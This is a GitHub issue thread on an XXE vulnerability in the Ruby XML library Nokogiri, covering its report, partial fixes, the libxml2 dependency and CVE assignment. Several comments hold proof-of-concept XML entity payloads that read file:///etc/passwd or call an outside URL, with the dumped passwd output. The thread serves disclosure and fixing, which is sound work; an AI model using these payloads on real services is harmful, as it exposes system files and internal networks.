Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

nokogiri vulnerable to XXE attack when used under c ruby #693

Closed
felixgr opened this issue Jun 6, 2012 · 18 comments
Closed

nokogiri vulnerable to XXE attack when used under c ruby #693

felixgr opened this issue Jun 6, 2012 · 18 comments

Comments

@felixgr
Copy link

felixgr commented Jun 6, 2012

Using external xml entities you can specify URLs (e.g. HTTP) to be contacted when attacker-supplied XML is parsed. This can be used to trigger URLs on the internal network of a XML parsing service and potentially leak their responses.

External xml entities should be completely (file, http, etc.) disabled.

$ cat test.rb 
require 'nokogiri'
d=Nokogiri::XML.parse("<!DOCTYPE doc [ <!ENTITY ent SYSTEM \"file:///tmp/marker\"><!ENTITY ent2 SYSTEM \"http://www.google.com/marker\"> ]>\n<root>\n<element>&ent;</element>\n<element>&ent2;</element>\n</root>")
d.each do |node| puts node.content end
$ strace -e connect ruby test.rb
# many connects, to www.google.com
$ ruby --version
ruby 1.8.7 (2010-01-10 patchlevel 249) [x86_64-linux]
$ apt-cache show libnokogiri-ruby1.8 | grep Version
Version: 1.4.0-3
$ apt-cache show libxml2 | grep Version
Version: 2.7.6.dfsg-1ubuntu1.5
Version: 2.7.6.dfsg-1ubuntu1
$ apt-cache show libxml-ruby | grep Version
Version: 1.1.3-2
@flavorjones
Copy link
Member

I'm very open to discussing whether this behavior should be changed; I only ask that further discussion take place on the nokogiri-talk mailing list (http://groups.google.com/group/nokogiri-talk) so that a wider audience can both be aware of the discussion and comment on the discussion.

If you want Nokogiri to avoid making external connections, you may set the nonet option at parse time. This is recommended for untrusted documents.

If you'd like to learn more about available options, see http://nokogiri.org/Nokogiri/XML/ParseOptions.html

If you'd like to see examples of how to configure parse options, see http://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse_options . The short version is that you should do something like the following:

Nokogiri::XML.parse(xml) { |config| config.nonet }

If you'd like to discuss why Team Nokogiri believes this is not a security vulnerability in the common sense of the term, then we should hold that discussion on the nokogiri-talk mailing list, in an open and transparent manner, as described on the "Getting Help" page here: http://nokogiri.org/tutorials/getting_help.html

Lastly, if you are dealing with an untrusted document, it's recommended to use the nonet option; but this recommendation is missing from the documentation around parse options, the #parse method, and the parsing tutorial. I will document this recommendation in all three places in response to this ticket, and then I will close it.

@flavorjones
Copy link
Member

I've started a discussion on this topic at https://groups.google.com/group/nokogiri-talk/browse_thread/thread/47eaa6931bfa2301

@flavorjones
Copy link
Member

I've updated the rdoc strings for Document#parse and ParseOptions; and updated the parsing tutorial. These changes have been pushed to http://nokogiri.org/.

I'm going to leave this ticket open for now, as it appears the nokogiri-talk thread is leading us to some code changes, which will be noted here.

@flavorjones
Copy link
Member

v1.5.4.rc2 addresses this vulnerability.

@joernchen
Copy link

Hi there,

I think it isn't fixed for local entities:

joern ~ $ gem list nokogiri

*** LOCAL GEMS ***

nokogiri (1.5.4.rc2)
joern ~ $ irb
ruby-1.9.2-p290 :001 > require 'nokogiri'
 => true 
ruby-1.9.2-p290 :002 > d=Nokogiri::XML.parse("<!DOCTYPE root [ <!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<root><e>&ent;</e></root>")
 => #<Nokogiri::XML::Document:0xa9ce00 name="document" children=[#<Nokogiri::XML::DTD:0xa9ca90 name="root" children=[#<Nokogiri::XML::EntityDecl:0xa98bd4 "<!ENTITY ent SYSTEM \"file:///etc/passwd\">\n">]>, #<Nokogiri::XML::Element:0xa98288 name="root" children=[#<Nokogiri::XML::Element:0xa98030 name="e" children=[#<Nokogiri::XML::EntityReference:0xa97e14 name="ent" children=[#<Nokogiri::XML::EntityDecl:0xa98bd4 "<!ENTITY ent SYSTEM \"file:///etc/passwd\">\n">]>]>]>]> 
ruby-1.9.2-p290 :003 > d.children.children.children.text
 => "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/bin/false\ndaemon:x:2:2:daemon:/sbin:/bin/false\nmail:x:8:12:mail:/var/spool/mail:/bin/false\nftp:x:14:11:ftp:/srv/ftp:/bin/false\nhttp:x:33:33:http:/srv/http:/bin/false\nnobody:x:99:99:nobody:/:/bin/false\ndbus:x:81:81:System message bus:/:/bin/false\navahi:x:84:84:avahi:/:/bin/false\njoern:x:1000:100:joernchen:/home/joern:/bin/bash\nrtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin\nusbmux:x:140:140:usbmux user:/:/sbin/nologin\ngdm:x:120:120:Gnome Display Manager:/var/lib/gdm:/sbin/nologin\npostgres:x:1001:1001::/home/postgres:/bin/bash\nmysql:x:89:89::/var/lib/mysql:/bin/false\nntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false\naurbuild:x:360:1002:aurbuild:/var/tmp/aurbuild:/bin/false\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/bin/false\ndaemon:x:2:2:daemon:/sbin:/bin/false\nmail:x:8:12:mail:/var/spool/mail:/bin/false\nftp:x:14:11:ftp:/srv/ftp:/bin/false\nhttp:x:33:33:http:/srv/http:/bin/false\nnobody:x:99:99:nobody:/:/bin/false\ndbus:x:81:81:System message bus:/:/bin/false\navahi:x:84:84:avahi:/:/bin/false\njoern:x:1000:100:joernchen:/home/joern:/bin/bash\nrtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin\nusbmux:x:140:140:usbmux user:/:/sbin/nologin\ngdm:x:120:120:Gnome Display Manager:/var/lib/gdm:/sbin/nologin\npostgres:x:1001:1001::/home/postgres:/bin/bash\nmysql:x:89:89::/var/lib/mysql:/bin/false\nntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false\naurbuild:x:360:1002:aurbuild:/var/tmp/aurbuild:/bin/false\n" 

@flavorjones flavorjones reopened this Jun 11, 2012
@flavorjones
Copy link
Member

Hello,

1.5.4 was a hurried release to address network implications, per the above descriptions. We will look into address local filesystem implications next.

@wpeterson
Copy link

Will there be a ParseOption to address the file Entity vulnerability?

ie:

<!ENTITY file SYSTEM "file:///etc/passwd">

Trying to find a way to lock this out.

@flavorjones
Copy link
Member

Looking at libxml2 code (both 2.7.8 and 2.9.0), there doesn't appear to be any way to prevent libxml2 from reading a local entity file. This seems like an oversight, and I'll raise it on the libxml2 mailing list.

Also - can someone determine whether Xerces has this same problem? @yokolet? @jvshahid?

@tenderlove - do you have any additional context that might be helpful here?

FWIW this is the snippet I'm using to determine libxml2 behavior:

#! /usr/bin/env ruby

require 'nokogiri'

d = Nokogiri::XML.parse("<!DOCTYPE root [ <!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<root><e>&ent;</e><e>&amp;</e></root>") do |c|
  c.noent # put your favorite parse options here
  puts c.inspect
end
File.open("output.txt", "w") do |f|
  f.puts d.to_xml
  f.puts "---"
  f.puts d.children.children.children.text
end

@yokolet
Copy link
Member

yokolet commented Sep 27, 2012

I talked about this on Nokogiri-talk ml a couple months ago along with another issue. I believe John fixed "another" issue, but not sure he fixed this XXE. If not, Xerces has the same problem.

@yokolet
Copy link
Member

yokolet commented Sep 27, 2012

I mean pure Java version has the same problem since Xerces itself doesn't protect from this sort of attack.

@tenderlove
Copy link
Member

@flavorjones I've looked through the libxml2 source and come to the same conclusion. I think I found the internal SAX callback for building the DOM, but I can't seem to find anything that would prevent reading from the filesystem. :(

@flavorjones
Copy link
Member

OK - I'll post to the libxml2 mailing list raising this as something with possible security implications. :-\

@flavorjones
Copy link
Member

@joernchen
Copy link

Actually this has been fixed in libxml2 version 2.9 see https://mail.gnome.org/archives/xml/2012-October/msg00045.html

I gave it a short test with putting
libxml2: "2.9.1"
instead of version 2.8.0 in the dependencies.yml and build it for Linux.

Result:

1.9.3-p392 :001 > require 'nokogiri'
 => true 
1.9.3-p392 :002 > d=Nokogiri::XML.parse("<!DOCTYPE root [ <!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<root><e>&ent;</e></root>")
 => #<Nokogiri::XML::Document:0xaf6a18 name="document" children=[#<Nokogiri::XML::DTD:0xaf66a8 name="root" children=[#<Nokogiri::XML::EntityDecl:0xaf5f14 "<!ENTITY ent SYSTEM \"file:///etc/passwd\">\n">]>, #<Nokogiri::XML::Element:0xaf5884 name="root" children=[#<Nokogiri::XML::Element:0xaf567c name="e" children=[#<Nokogiri::XML::EntityReference:0x7544a0 name="ent" children=[#<Nokogiri::XML::EntityDecl:0xaf5f14 "<!ENTITY ent SYSTEM \"file:///etc/passwd\">\n">]>]>]>]> 
1.9.3-p392 :003 > d.children.children.children.text
 => "" 
1.9.3-p392 :004 >

So a simple dependency update should fix this issue.

@flavorjones
Copy link
Member

Thanks for the suggestion, however versions 2.9.0 and 2.9.1 of libxml2
break CSS queries in Nokogiri.

On Mon, Aug 19, 2013 at 1:12 PM, joernchen of Phenoelit <
[email protected]> wrote:

Actually this has been fixed in libxml2 version 2.9 see
https://mail.gnome.org/archives/xml/2012-October/msg00045.html

I gave it a short test with putting
libxml2: "2.9.1"
instead of version 2.8.0 in the dependencies.yml and build it for Linux.

Result:

1.9.3-p392 :001 > require 'nokogiri'
=> true
1.9.3-p392 :002 > d=Nokogiri::XML.parse(" ]>\n&ent;")
=> #<Nokogiri::XML::Document:0xaf6a18 name="document" children=[#<Nokogiri::XML::DTD:0xaf66a8 name="root" children=[#<Nokogiri::XML::EntityDecl:0xaf5f14 "\n">]>, #<Nokogiri::XML::Element:0xaf5884 name="root" children=[#<Nokogiri::XML::Element:0xaf567c name="e" children=[#<Nokogiri::XML::EntityReference:0x7544a0 name="ent" children=[#<Nokogiri::XML::EntityDecl:0xaf5f14 "\n">]>]>]>]>
1.9.3-p392 :003 > d.children.children.children.text
=> ""
1.9.3-p392 :004 >

So a simple dependency update should fix this issue.


Reply to this email directly or view it on GitHubhttps://github.com//issues/693#issuecomment-22887958
.

@dfj
Copy link

dfj commented Dec 30, 2014

I have recently come across some applications that use older versions of nokogiri that may be vulnerable to this issue. I wound up spending several hours investigating it, and came to the following conclusions that may be useful to others:

  • The original issue reported here was a general entity XXE flaw. The NONET patch shipped with Nokogiri 1.5.4 stopped this from being exploitable using network URLs. It was still exploitable using local file URLs up until libxml2 2.9.0 was adopted by Nokogiri, which it appears was in the 1.6.4 release.
  • Nokogiri was also vulnerable to parameter entity XXE attacks, and this does not seem to have been reported anywhere. Parameter entity XXE was fixed in libxml2 2.9.2. However, parameter entity XXE flaws are only exploitable using network URLs. Therefore the original NONET patch in Nokogiri resolved the parameter entity issue sufficiently.
  • People using a system-provided libxml2 library that is < 2.9.0 will still be vulnerable no matter what version of Nokogiri they are using. People using a system-provided libxml2 library is that >= 2.9.2 will be patched no matter what version of Nokogiri they are using.

Therefore I think this issue can be closed. One last problem, though. As far as I can tell, no CVE ID was ever assigned to this issue. This is a problem because without CVE assignment, vendors won't realize the implications of this issue and patch their products using Nokogiri in a timely fashion. If I am wrong, please do let me know. I will send this analysis to the oss-security list requesting CVE assignment (MITRE should refuse if it's a duplicate).

@flavorjones
Copy link
Member

Thanks for the followup, I'll close this now.

You're correct in that we did not get a CVE ID for this issue. That's going to be part of our process going forward. Apologies for the inconvenience.

@dfj
Copy link

dfj commented Jan 5, 2015

No problem - just to close the loop, MITRE has assigned CVE-2012-6685 to this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

7 participants